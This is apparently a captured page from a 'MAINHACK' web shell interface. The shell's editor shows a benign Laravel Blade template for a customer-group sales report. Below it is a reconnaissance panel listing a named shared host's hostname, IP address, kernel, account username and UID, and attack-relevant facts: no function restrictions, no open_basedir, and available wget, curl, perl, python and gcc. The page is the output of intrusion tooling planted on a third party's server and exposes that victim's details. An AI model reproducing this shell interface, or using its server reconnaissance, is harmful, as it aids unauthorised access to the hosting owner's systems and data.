[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: customer_group.blade.php
@extends('layouts.app') @section('title', __('lang_v1.customer_groups_report')) @section('content') <!-- Content Header (Page header) --> <section class="content-header"> <h1 class="tw-text-xl md:tw-text-3xl tw-font-bold tw-text-black">{{ __('lang_v1.customer_groups_report')}}</h1> </section> <!-- Main content --> <section class="content"> <div class="row"> <div class="col-md-12"> @component('components.filters', ['title' => __('report.filters')]) {!! Form::open(['url' => action([\App\Http\Controllers\ReportController::class, 'getCustomerGroup']), 'method' => 'get', 'id' => 'cg_report_filter_form' ]) !!} <div class="col-md-3"> <div class="form-group"> {!! Form::label('cg_customer_group_id', __( 'lang_v1.customer_group_name' ) . ':') !!} {!! Form::select('cg_customer_group_id', $customer_group, null, ['class' => 'form-control select2', 'style' => 'width:100%', 'id' => 'cg_customer_group_id']); !!} </div> </div> <div class="col-md-3"> <div class="form-group"> {!! Form::label('cg_location_id', __('purchase.business_location') . ':') !!} {!! Form::select('cg_location_id', $business_locations, null, ['class' => 'form-control select2', 'style' => 'width:100%']); !!} </div> </div> <div class="col-md-3"> <div class="form-group"> {!! Form::label('cg_date_range', __('report.date_range') . ':') !!} {!! Form::text('date_range', null, ['placeholder' => __('lang_v1.select_a_date_range'), 'class' => 'form-control', 'id' => 'cg_date_range', 'readonly']); !!} </div> </div> {!! Form::close() !!} @endcomponent </div> </div> <div class="row"> <div class="col-md-12"> @component('components.widget', ['class' => 'box-primary']) <div class="table-responsive"> <table class="table table-bordered table-striped" id="cg_report_table"> <thead> <tr> <th>@lang('lang_v1.customer_group')</th> <th>@lang('report.total_sell')</th> </tr> </thead> </table> </div> @endcomponent </div> </div> </section> <!-- /.content --> @endsection @section('javascript') <script type="text/javascript"> $(document).ready(function(){ if($('#cg_date_range').length == 1){ $('#cg_date_range').daterangepicker( dateRangeSettings, function (start, end) { $('#cg_date_range').val(start.format(moment_date_format) + ' ~ ' + end.format(moment_date_format)); cg_report_table.ajax.reload(); } ); $('#cg_date_range').on('cancel.daterangepicker', function(ev, picker) { $(this).val(''); cg_report_table.ajax.reload(); }); } cg_report_table = $('#cg_report_table').DataTable({ processing: true, serverSide: true, fixedHeader:false, "ajax": { "url": "/reports/customer-group", "data": function ( d ) { d.location_id = $('#cg_location_id').val(); d.customer_group_id = $('#cg_customer_group_id').val(); d.start_date = $('#cg_date_range').data('daterangepicker').startDate.format('YYYY-MM-DD'); d.end_date = $('#cg_date_range').data('daterangepicker').endDate.format('YYYY-MM-DD'); } }, columns: [ {data: 'name', name: 'CG.name'}, {data: 'total_sell', name: 'total_sell', searchable: false} ], "fnDrawCallback": function (oSettings) { __currency_convert_recursively($('#cg_report_table')); } }); //Customer Group report filter $('select#cg_location_id, select#cg_customer_group_id, #cg_date_range').change( function(){ cg_report_table.ajax.reload(); }); }) </script> @endsection
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285